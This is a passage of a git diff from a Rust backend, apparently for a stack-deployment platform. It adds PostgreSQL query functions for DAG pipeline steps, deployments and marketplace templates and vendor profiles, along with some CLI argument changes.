+                    stacker::console::commands::cli::ai::AiChatCommand::new(write, None, None),
                 )),
                 Some(StackerAiCommands::Ask {
                     question,
@@ -443,9 +575,12 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
                     domain,
                     upstream,
                     ssl,
+                    force,
+                    json,
+                    deployment,
                 } => Ok(Box::new(
                     stacker::console::commands::cli::proxy::ProxyAddCommand::new(
-                        domain, upstream, ssl,
+                        domain, upstream, ssl, force, json, deployment,
                     ),
                 )),
                 StackerProxyCommands::Detect { json, deployment } => Ok(Box::new(
diff --git a/src/db/agent_audit_log.rs b/src/db/agent_audit_log.rs
index 1eac7c04..7c4a81e4 100644
--- a/src/db/agent_audit_log.rs
+++ b/src/db/agent_audit_log.rs
@@ -19,7 +19,10 @@ pub async fn insert_batch(
     let span = tracing::info_span!("Inserting audit events into database");
 
     for event in events {
-        let created_at = Utc.timestamp_opt(event.created_at, 0).single().unwrap_or_else(Utc::now);
+        let created_at = Utc
+            .timestamp_opt(event.created_at, 0)
+            .single()
+            .unwrap_or_else(Utc::now);
 
         sqlx::query_as::<_, AgentAuditLog>(
             r#"
diff --git a/src/db/command.rs b/src/db/command.rs
index b71fa299..4072cdbf 100644
--- a/src/db/command.rs
+++ b/src/db/command.rs
@@ -187,6 +187,48 @@ pub async fn update_result(
     })
 }
 
+/// Update command result and merge metadata patch
+#[tracing::instrument(name = "Update command result with metadata", skip(pool))]
+pub async fn update_result_with_metadata(
+    pool: &PgPool,
+    command_id: &str,
+    status: &CommandStatus,
+    result: Option<JsonValue>,
+    error: Option<JsonValue>,
+    metadata: Option<JsonValue>,
+) -> Result<Command, String> {
+    let query_span = tracing::info_span!("Updating command result with metadata");
+    sqlx::query_as::<_, Command>(
+        r#"
+        UPDATE commands
+        SET status = $2,
+            result = $3,
+            error = $4,
+            metadata = CASE
+                WHEN $5 IS NULL THEN metadata
+                ELSE COALESCE(metadata, '{}'::jsonb) || $5
+            END,
+            updated_at = NOW()
+        WHERE command_id = $1
+        RETURNING id, command_id, deployment_hash, type, status, priority,
+                  parameters, result, error, created_by, created_at, updated_at,
+                  timeout_seconds, metadata
+        "#,
+    )
+    .bind(command_id)
+    .bind(status.to_string())
+    .bind(result)
+    .bind(error)
+    .bind(metadata)
+    .fetch_one(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to update command result with metadata: {:?}", err);
+        format!("Failed to update command result with metadata: {}", err)
+    })
+}
+
 /// Fetch command by ID
 #[tracing::instrument(name = "Fetch command by ID", skip(pool))]
 pub async fn fetch_by_id(pool: &PgPool, id: &str) -> Result<Option<Command>, String> {
diff --git a/src/db/dag.rs b/src/db/dag.rs
new file mode 100644
index 00000000..3bf04a48
--- /dev/null
+++ b/src/db/dag.rs
@@ -0,0 +1,321 @@
+use crate::models::dag::{DagEdge, DagStep, DagStepExecution};
+use sqlx::PgPool;
+use tracing::Instrument;
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagStep queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Insert DAG step", skip(pool))]
+pub async fn insert_step(pool: &PgPool, step: &DagStep) -> Result<DagStep, String> {
+    let span = tracing::info_span!("Saving DAG step to database");
+    sqlx::query_as::<_, DagStep>(
+        r#"
+        INSERT INTO pipe_dag_steps (id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at)
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8)
+        RETURNING id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at
+        "#,
+    )
+    .bind(step.id)
+    .bind(step.pipe_template_id)
+    .bind(&step.name)
+    .bind(&step.step_type)
+    .bind(step.step_order)
+    .bind(&step.config)
+    .bind(step.created_at)
+    .bind(step.updated_at)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to insert DAG step: {:?}", err);
+        format!("Failed to insert DAG step: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "Fetch DAG step by ID", skip(pool))]
+pub async fn get_step(pool: &PgPool, step_id: &Uuid) -> Result<Option<DagStep>, String> {
+    let span = tracing::info_span!("Fetching DAG step by ID");
+    sqlx::query_as::<_, DagStep>(
+        r#"
+        SELECT id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at
+        FROM pipe_dag_steps WHERE id = $1
+        "#,
+    )
+    .bind(step_id)
+    .fetch_optional(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch DAG step: {:?}", err);
+        format!("Failed to fetch DAG step: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "List DAG steps for template", skip(pool))]
+pub async fn list_steps(pool: &PgPool, template_id: &Uuid) -> Result<Vec<DagStep>, String> {
+    let span = tracing::info_span!("Listing DAG steps");
+    sqlx::query_as::<_, DagStep>(
+        r#"
+        SELECT id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at
+        FROM pipe_dag_steps WHERE pipe_template_id = $1
+        ORDER BY step_order ASC, created_at ASC
+        "#,
+    )
+    .bind(template_id)
+    .fetch_all(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to list DAG steps: {:?}", err);
+        format!("Failed to list DAG steps: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "Update DAG step", skip(pool))]
+pub async fn update_step(
+    pool: &PgPool,
+    step_id: &Uuid,
+    name: Option<&str>,
+    config: Option<&serde_json::Value>,
+    step_order: Option<i32>,
+) -> Result<DagStep, String> {
+    let span = tracing::info_span!("Updating DAG step");
+    sqlx::query_as::<_, DagStep>(
+        r#"
+        UPDATE pipe_dag_steps SET
+            name = COALESCE($2, name),
+            config = COALESCE($3, config),
+            step_order = COALESCE($4, step_order),
+            updated_at = NOW()
+        WHERE id = $1
+        RETURNING id, pipe_template_id, name, step_type, step_order, config, created_at, updated_at
+        "#,
+    )
+    .bind(step_id)
+    .bind(name)
+    .bind(config)
+    .bind(step_order)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to update DAG step: {:?}", err);
+        format!("Failed to update DAG step: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "Delete DAG step", skip(pool))]
+pub async fn delete_step(pool: &PgPool, step_id: &Uuid) -> Result<u64, String> {
+    let span = tracing::info_span!("Deleting DAG step");
+    let result = sqlx::query("DELETE FROM pipe_dag_steps WHERE id = $1")
+        .bind(step_id)
+        .execute(pool)
+        .instrument(span)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to delete DAG step: {:?}", err);
+            format!("Failed to delete DAG step: {}", err)
+        })?;
+    Ok(result.rows_affected())
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagEdge queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Insert DAG edge", skip(pool))]
+pub async fn insert_edge(pool: &PgPool, edge: &DagEdge) -> Result<DagEdge, String> {
+    let span = tracing::info_span!("Saving DAG edge to database");
+    sqlx::query_as::<_, DagEdge>(
+        r#"
+        INSERT INTO pipe_dag_edges (id, pipe_template_id, from_step_id, to_step_id, condition, created_at)
+        VALUES ($1, $2, $3, $4, $5, $6)
+        RETURNING id, pipe_template_id, from_step_id, to_step_id, condition, created_at
+        "#,
+    )
+    .bind(edge.id)
+    .bind(edge.pipe_template_id)
+    .bind(edge.from_step_id)
+    .bind(edge.to_step_id)
+    .bind(&edge.condition)
+    .bind(edge.created_at)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to insert DAG edge: {:?}", err);
+        format!("Failed to insert DAG edge: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "List DAG edges for template", skip(pool))]
+pub async fn list_edges(pool: &PgPool, template_id: &Uuid) -> Result<Vec<DagEdge>, String> {
+    let span = tracing::info_span!("Listing DAG edges");
+    sqlx::query_as::<_, DagEdge>(
+        r#"
+        SELECT id, pipe_template_id, from_step_id, to_step_id, condition, created_at
+        FROM pipe_dag_edges WHERE pipe_template_id = $1
+        ORDER BY created_at ASC
+        "#,
+    )
+    .bind(template_id)
+    .fetch_all(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to list DAG edges: {:?}", err);
+        format!("Failed to list DAG edges: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "Delete DAG edge", skip(pool))]
+pub async fn delete_edge(pool: &PgPool, edge_id: &Uuid) -> Result<u64, String> {
+    let span = tracing::info_span!("Deleting DAG edge");
+    let result = sqlx::query("DELETE FROM pipe_dag_edges WHERE id = $1")
+        .bind(edge_id)
+        .execute(pool)
+        .instrument(span)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to delete DAG edge: {:?}", err);
+            format!("Failed to delete DAG edge: {}", err)
+        })?;
+    Ok(result.rows_affected())
+}
+
+/// Check if adding an edge from→to would create a cycle in the DAG.
+/// Uses iterative DFS from `to_step_id` following existing edges.
+#[tracing::instrument(name = "Check DAG cycle", skip(pool))]
+pub async fn would_create_cycle(
+    pool: &PgPool,
+    template_id: &Uuid,
+    from_step_id: &Uuid,
+    to_step_id: &Uuid,
+) -> Result<bool, String> {
+    // If from == to, trivial cycle
+    if from_step_id == to_step_id {
+        return Ok(true);
+    }
+
+    let edges = list_edges(pool, template_id).await?;
+
+    // DFS from to_step_id: can we reach from_step_id via existing edges?
+    let mut visited = std::collections::HashSet::new();
+    let mut stack = vec![*to_step_id];
+
+    while let Some(current) = stack.pop() {
+        if current == *from_step_id {
+            return Ok(true);
+        }
+        if visited.contains(&current) {
+            continue;
+        }
+        visited.insert(current);
+
+        for edge in &edges {
+            if edge.from_step_id == current {
+                stack.push(edge.to_step_id);
+            }
+        }
+    }
+
+    Ok(false)
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DagStepExecution queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Insert DAG step execution", skip(pool))]
+pub async fn insert_step_execution(
+    pool: &PgPool,
+    exec: &DagStepExecution,
+) -> Result<DagStepExecution, String> {
+    let span = tracing::info_span!("Saving DAG step execution");
+    sqlx::query_as::<_, DagStepExecution>(
+        r#"
+        INSERT INTO pipe_dag_step_executions
+            (id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at)
+        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)
+        RETURNING id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at
+        "#,
+    )
+    .bind(exec.id)
+    .bind(exec.pipe_execution_id)
+    .bind(exec.step_id)
+    .bind(&exec.status)
+    .bind(&exec.input_data)
+    .bind(&exec.output_data)
+    .bind(&exec.error)
+    .bind(exec.started_at)
+    .bind(exec.completed_at)
+    .bind(exec.created_at)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to insert DAG step execution: {:?}", err);
+        format!("Failed to insert DAG step execution: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "List step executions for pipe execution", skip(pool))]
+pub async fn list_step_executions(
+    pool: &PgPool,
+    pipe_execution_id: &Uuid,
+) -> Result<Vec<DagStepExecution>, String> {
+    let span = tracing::info_span!("Listing DAG step executions");
+    sqlx::query_as::<_, DagStepExecution>(
+        r#"
+        SELECT id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at
+        FROM pipe_dag_step_executions WHERE pipe_execution_id = $1
+        ORDER BY created_at ASC
+        "#,
+    )
+    .bind(pipe_execution_id)
+    .fetch_all(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to list step executions: {:?}", err);
+        format!("Failed to list step executions: {}", err)
+    })
+}
+
+#[tracing::instrument(name = "Update step execution status", skip(pool))]
+pub async fn update_step_execution(
+    pool: &PgPool,
+    exec_id: &Uuid,
+    status: &str,
+    output_data: Option<&serde_json::Value>,
+    error: Option<&str>,
+) -> Result<DagStepExecution, String> {
+    let span = tracing::info_span!("Updating DAG step execution status");
+    let now = chrono::Utc::now();
+    sqlx::query_as::<_, DagStepExecution>(
+        r#"
+        UPDATE pipe_dag_step_executions SET
+            status = $2,
+            output_data = COALESCE($3, output_data),
+            error = COALESCE($4, error),
+            started_at = CASE WHEN $2 = 'running' AND started_at IS NULL THEN $5 ELSE started_at END,
+            completed_at = CASE WHEN $2 IN ('completed', 'failed', 'skipped') THEN $5 ELSE completed_at END
+        WHERE id = $1
+        RETURNING id, pipe_execution_id, step_id, status, input_data, output_data, error, started_at, completed_at, created_at
+        "#,
+    )
+    .bind(exec_id)
+    .bind(status)
+    .bind(output_data)
+    .bind(error)
+    .bind(now)
+    .fetch_one(pool)
+    .instrument(span)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to update step execution: {:?}", err);
+        format!("Failed to update step execution: {}", err)
+    })
+}
diff --git a/src/db/deployment.rs b/src/db/deployment.rs
index 49bfbcfa..ba5027a2 100644
--- a/src/db/deployment.rs
+++ b/src/db/deployment.rs
@@ -1,5 +1,6 @@
 use crate::models;
 use sqlx::PgPool;
+use sqlx::Row;
 use tracing::Instrument;
 
 pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Deployment>, String> {
@@ -230,3 +231,46 @@ pub async fn fetch_by_user_and_project(
         "Could not fetch deployments".to_string()
     })
 }
+
+pub async fn fetch_by_project(
+    pool: &PgPool,
+    project_id: i32,
+    limit: i64,
+) -> Result<Vec<models::Deployment>, String> {
+    tracing::debug!("Fetch deployments by project_id: {}", project_id);
+    sqlx::query(
+        r#"
+        SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,
+               last_seen_at, created_at, updated_at
+        FROM deployment
+        WHERE project_id = $1 AND deleted = false
+        ORDER BY created_at DESC
+        LIMIT $2
+        "#,
+    )
+    .bind(project_id)
+    .bind(limit)
+    .fetch_all(pool)
+    .await
+    .map(|rows| {
+        rows.into_iter()
+            .map(|row| models::Deployment {
+                id: row.get("id"),
+                project_id: row.get("project_id"),
+                deployment_hash: row.get("deployment_hash"),
+                user_id: row.get("user_id"),
+                deleted: row.get("deleted"),
+                status: row.get("status"),
+                runtime: row.get("runtime"),
+                metadata: row.get("metadata"),
+                last_seen_at: row.get("last_seen_at"),
+                created_at: row.get("created_at"),
+                updated_at: row.get("updated_at"),
+            })
+            .collect()
+    })
+    .map_err(|err| {
+        tracing::error!("Failed to fetch deployments by project_id: {:?}", err);
+        "Could not fetch deployments".to_string()
+    })
+}
diff --git a/src/db/marketplace.rs b/src/db/marketplace.rs
index 8e7099fb..d0405d5a 100644
--- a/src/db/marketplace.rs
+++ b/src/db/marketplace.rs
@@ -1,15 +1,151 @@
-use crate::models::{StackCategory, StackTemplate, StackTemplateReview, StackTemplateVersion};
-use sqlx::PgPool;
+use crate::models::{
+    AnalyticsPeriod, AnalyticsSummary, CloudBreakdown, MarketplaceVendorProfile,
+    PublicVendorProfile, PublicVendorTemplate, SeriesBucket, StackCategory, StackTemplate,
+    StackTemplateReview, StackTemplateVersion, TemplateAnalytics, TemplatePerformance,
+    VendorAnalytics,
+};
+use chrono::{Duration, Utc};
+use serde_json::{Map, Value};
+use sqlx::{PgPool, Row};
 use tracing::Instrument;
 
+pub const SLUG_UNIQUE_CONSTRAINT: &str = "stack_template_slug_key";
+
+#[derive(Debug)]
+pub enum CreateDraftError {
+    DuplicateSlug { slug: String },
+    Internal,
+}
+
+pub async fn get_public_vendor_profile(
+    pool: &PgPool,
+    identifier: &str,
+) -> Result<Option<PublicVendorProfile>, String> {
+    let query_span =
+        tracing::info_span!("marketplace_get_public_vendor_profile", identifier = %identifier);
+    let vendor_rating_sql =
+        crate::db::rating::visible_average_subquery_for_creator("mvp.creator_user_id");
+    let vendor_rating_count_sql =
+        crate::db::rating::visible_count_subquery_for_creator("mvp.creator_user_id");
+    let query = format!(
+        r#"SELECT
+            mvp.creator_user_id,
+            mvp.public_slug AS slug,
+            mvp.display_name,
+            mvp.bio,
+            mvp.avatar_url,
+            mvp.website_url,
+            mvp.verification_status = 'verified' AS verified,
+            {vendor_rating_sql} AS rating,
+            {vendor_rating_count_sql} AS rating_count,
+            5 AS rating_scale,
+            jsonb_strip_nulls(jsonb_build_object(
+                'country', mvp.metadata->'country',
+                'support_email', mvp.metadata->'support_email',
+                'socials', mvp.metadata->'socials'
+            )) AS metadata,
+            mvp.created_at
+        FROM marketplace_vendor_profile mvp
+        WHERE LOWER(TRIM(mvp.public_slug)) = LOWER(TRIM($1)) OR LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM($1))
+        LIMIT 1"#
+    );
+
+    sqlx::query_as::<_, PublicVendorProfile>(&query)
+        .bind(identifier)
+        .fetch_optional(pool)
+        .instrument(query_span)
+        .await
+        .map_err(|e| {
+            tracing::error!("get_public_vendor_profile error: {:?}", e);
+            "Internal Server Error".to_string()
+        })
+}
+
+pub async fn list_approved_by_creator(
+    pool: &PgPool,
+    creator_user_id: &str,
+    sort: Option<&str>,
+) -> Result<Vec<PublicVendorTemplate>, String> {
+    let template_rating_sql =
+        crate::db::rating::visible_average_subquery_for_obj_id("t.product_id");
+    let template_rating_count_sql =
+        crate::db::rating::visible_count_subquery_for_obj_id("t.product_id");
+    let mut base = format!(
+        r#"SELECT
+            t.id,
+            t.creator_user_id,
+            t.creator_name,
+            mvp.public_slug AS vendor_slug,
+            t.name,
+            t.slug,
+            t.short_description,
+            t.long_description,
+            c.name AS category_code,
+            t.product_id,
+            t.tags,
+            t.tech_stack,
+            t.status,
+            t.is_configurable,
+            t.view_count,
+            t.deploy_count,
+            t.required_plan_name,
+            t.price,
+            t.billing_cycle,
+            t.currency,
+            t.created_at,
+            t.updated_at,
+            t.approved_at,
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url,
+            {template_rating_sql} AS rating,
+            {template_rating_count_sql} AS rating_count,
+            5 AS rating_scale
+        FROM stack_template t
+        LEFT JOIN stack_category c ON t.category_id = c.id
+        LEFT JOIN marketplace_vendor_profile mvp ON LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM(t.creator_user_id))
+        WHERE t.status = 'approved' AND t.creator_user_id = $1"#,
+    );
+
+    match sort.unwrap_or("recent") {
+        "popular" => base.push_str(
+            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.deploy_count DESC, t.view_count DESC",
+        ),
+        "rating" => base.push_str(&format!(
+            " ORDER BY (t.verifications @> '{{\"hardened_images\":true}}') DESC, {} DESC NULLS LAST",
+            template_rating_sql
+        )),
+        _ => base.push_str(
+            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.approved_at DESC NULLS LAST, t.created_at DESC",
+        ),
+    }
+
+    let query_span = tracing::info_span!("marketplace_list_approved_by_creator", creator_user_id = %creator_user_id);
+
+    sqlx::query_as::<_, PublicVendorTemplate>(&base)
+        .bind(creator_user_id)
+        .fetch_all(pool)
+        .instrument(query_span)
+        .await
+        .map_err(|e| {
+            tracing::error!("list_approved_by_creator error: {:?}", e);
+            "Internal Server Error".to_string()
+        })
+}
+
 pub async fn list_approved(
     pool: &PgPool,
     category: Option<&str>,
     tag: Option<&str>,
+    query: Option<&str>,
     sort: Option<&str>,
+    limit: Option<i64>,
 ) -> Result<Vec<StackTemplate>, String> {
+    let template_rating_sql =
+        crate::db::rating::visible_average_subquery_for_obj_id("t.product_id");
     let mut base = String::from(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -17,7 +153,7 @@ pub async fn list_approved(
             t.slug,
             t.short_description,
             t.long_description,
-            c.name AS "category_code?",
+            c.name AS category_code,
             t.product_id,
             t.tags,
             t.tech_stack,
@@ -32,17 +168,34 @@ pub async fn list_approved(
             t.created_at,
             t.updated_at,
             t.approved_at,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.status = 'approved'"#,
     );
 
+    let mut bind_index = 1;
     if category.is_some() {
-        base.push_str(" AND c.name = $1");
+        base.push_str(&format!(" AND c.name = ${}", bind_index));
+        bind_index += 1;
     }
     if tag.is_some() {
-        base.push_str(" AND t.tags ? $2");
+        base.push_str(&format!(" AND t.tags ? ${}", bind_index));
+        bind_index += 1;
+    }
+    if query
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .is_some()
+    {
+        base.push_str(&format!(
+            " AND (t.slug ILIKE ${0} OR t.name ILIKE ${0} OR COALESCE(t.short_description, '') ILIKE ${0} OR COALESCE(t.long_description, '') ILIKE ${0} OR t.tags::text ILIKE ${0})",
+            bind_index
+        ));
+        bind_index += 1;
     }
 
     match sort.unwrap_or("recent") {
@@ -50,41 +203,36 @@ pub async fn list_approved(
         "popular" => base.push_str(
             " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.deploy_count DESC, t.view_count DESC",
         ),
-        "rating" => base.push_str(
-            " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, (SELECT AVG(rate) FROM rating WHERE rating.product_id = t.product_id) DESC NULLS LAST",
-        ),
+        "rating" => base.push_str(&format!(
+            " ORDER BY (t.verifications @> '{{\"hardened_images\":true}}') DESC, {} DESC NULLS LAST",
+            template_rating_sql
+        )),
         _ => base.push_str(
             " ORDER BY (t.verifications @> '{\"hardened_images\":true}') DESC, t.approved_at DESC NULLS LAST, t.created_at DESC",
         ),
     }
 
+    if limit.is_some() {
+        base.push_str(&format!(" LIMIT ${}", bind_index));
+    }
+
     let query_span = tracing::info_span!("marketplace_list_approved");
 
-    let res = if category.is_some() && tag.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(category.unwrap())
-            .bind(tag.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else if category.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(category.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else if tag.is_some() {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .bind(tag.unwrap())
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    } else {
-        sqlx::query_as::<_, StackTemplate>(&base)
-            .fetch_all(pool)
-            .instrument(query_span)
-            .await
-    };
+    let mut sql_query = sqlx::query_as::<_, StackTemplate>(&base);
+    if let Some(category) = category {
+        sql_query = sql_query.bind(category);
+    }
+    if let Some(tag) = tag {
+        sql_query = sql_query.bind(tag);
+    }
+    if let Some(query) = query.map(str::trim).filter(|value| !value.is_empty()) {
+        sql_query = sql_query.bind(format!("%{}%", query));
+    }
+    if let Some(limit) = limit {
+        sql_query = sql_query.bind(limit.clamp(1, 100));
+    }
+
+    let res = sql_query.fetch_all(pool).instrument(query_span).await;
 
     res.map_err(|e| {
         tracing::error!("list_approved error: {:?}", e);
@@ -96,12 +244,12 @@ pub async fn get_by_slug_and_user(
     pool: &PgPool,
     slug: &str,
     user_id: &str,
-) -> Result<StackTemplate, String> {
+) -> Result<Option<StackTemplate>, String> {
     let query_span =
         tracing::info_span!("marketplace_get_by_slug_and_user", slug = %slug, user_id = %user_id);
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -124,30 +272,38 @@ pub async fn get_by_slug_and_user(
             t.created_at,
             t.updated_at,
             t.approved_at,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.slug = $1 AND t.creator_user_id = $2"#,
     )
     .bind(slug)
     .bind(user_id)
-    .fetch_one(pool)
+    .fetch_optional(pool)
     .instrument(query_span)
     .await
     .map_err(|e| {
-        tracing::debug!("get_by_slug_and_user error: {:?}", e);
-        "Not Found".to_string()
+        tracing::error!("get_by_slug_and_user error: {:?}", e);
+        "Internal Server Error".to_string()
     })
 }
 
+pub enum SlugLookupError {
+    NotFound,
+    Internal,
+}
+
 pub async fn get_by_slug_with_latest(
     pool: &PgPool,
     slug: &str,
-) -> Result<(StackTemplate, Option<StackTemplateVersion>), String> {
+) -> Result<(StackTemplate, Option<StackTemplateVersion>), SlugLookupError> {
     let query_span = tracing::info_span!("marketplace_get_by_slug_with_latest", slug = %slug);
 
     let template = sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -170,9 +326,14 @@ pub async fn get_by_slug_with_latest(
             t.created_at,
             t.updated_at,
             t.approved_at,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url,
+            mvp.public_slug AS vendor_slug
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
+        LEFT JOIN marketplace_vendor_profile mvp ON LOWER(TRIM(mvp.creator_user_id)) = LOWER(TRIM(t.creator_user_id))
         WHERE t.slug = $1 AND t.status = 'approved'"#,
     )
     .bind(slug)
@@ -181,34 +342,77 @@ pub async fn get_by_slug_with_latest(
     .await
     .map_err(|e| {
         tracing::error!("get_by_slug template error: {:?}", e);
-        "Not Found".to_string()
+        match e {
+            sqlx::Error::RowNotFound => SlugLookupError::NotFound,
+            _ => SlugLookupError::Internal,
+        }
     })?;
 
-    let version = sqlx::query_as!(
-        StackTemplateVersion,
-        r#"SELECT 
+    let version = sqlx::query_as::<_, StackTemplateVersion>(
+        r#"SELECT
             id,
             template_id,
             version,
             stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
             definition_format,
             changelog,
             is_latest,
             created_at
         FROM stack_template_version WHERE template_id = $1 AND is_latest = true LIMIT 1"#,
-        template.id
     )
+    .bind(template.id)
     .fetch_optional(pool)
     .instrument(query_span)
     .await
     .map_err(|e| {
         tracing::error!("get_by_slug version error: {:?}", e);
-        "Internal Server Error".to_string()
+        SlugLookupError::Internal
     })?;
 
     Ok((template, version))
 }
 
+/// Fetch the latest version row for a template by its id. Used to federate the
+/// `stack_definition` (compose) to the User Service on approval/publish.
+pub async fn get_latest_version(
+    pool: &PgPool,
+    template_id: uuid::Uuid,
+) -> Result<Option<StackTemplateVersion>, String> {
+    let query_span =
+        tracing::info_span!("marketplace_get_latest_version", template_id = %template_id);
+
+    sqlx::query_as::<_, StackTemplateVersion>(
+        r#"SELECT
+            id,
+            template_id,
+            version,
+            stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+            definition_format,
+            changelog,
+            is_latest,
+            created_at
+        FROM stack_template_version WHERE template_id = $1 AND is_latest = true LIMIT 1"#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("get_latest_version error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
 pub async fn get_by_id(
     pool: &PgPool,
     template_id: uuid::Uuid,
@@ -216,7 +420,7 @@ pub async fn get_by_id(
     let query_span = tracing::info_span!("marketplace_get_by_id", id = %template_id);
 
     let template = sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -239,7 +443,10 @@ pub async fn get_by_id(
             t.price,
             t.billing_cycle,
             t.currency,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.id = $1"#,
@@ -267,21 +474,38 @@ pub async fn create_draft(
     category_code: Option<&str>,
     tags: serde_json::Value,
     tech_stack: serde_json::Value,
+    infrastructure_requirements: serde_json::Value,
     price: f64,
     billing_cycle: &str,
+    required_plan_name: Option<&str>,
     currency: &str,
-) -> Result<StackTemplate, String> {
+    public_ports: Option<serde_json::Value>,
+    vendor_url: Option<&str>,
+) -> Result<StackTemplate, CreateDraftError> {
     let query_span = tracing::info_span!("marketplace_create_draft", slug = %slug);
 
     let price_f64 = price;
 
+    if let Some(category_code) = category_code {
+        sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#)
+            .bind(category_code)
+            .execute(pool)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!("create_draft category upsert error: {:?}", e);
+                CreateDraftError::Internal
+            })?;
+    }
+
     let rec = sqlx::query_as::<_, StackTemplate>(
         r#"INSERT INTO stack_template (
             creator_user_id, creator_name, name, slug,
             short_description, long_description, category_id,
-            tags, tech_stack, status, price, billing_cycle, currency
-        ) VALUES ($1,$2,$3,$4,$5,$6,(SELECT id FROM stack_category WHERE name = $7),$8,$9,'draft',$10,$11,$12)
-        RETURNING 
+            tags, tech_stack, infrastructure_requirements, status, price, billing_cycle, required_plan_name, currency,
+            public_ports, vendor_url
+        ) VALUES ($1,$2,$3,$4,$5,$6,(SELECT id FROM stack_category WHERE name = $7),$8,$9,$10,'draft',$11,$12,$13,$14,$15,$16)
+        RETURNING
             id,
             creator_user_id,
             creator_name,
@@ -304,7 +528,10 @@ pub async fn create_draft(
             created_at,
             updated_at,
             approved_at,
-            verifications
+            verifications,
+            infrastructure_requirements,
+            public_ports,
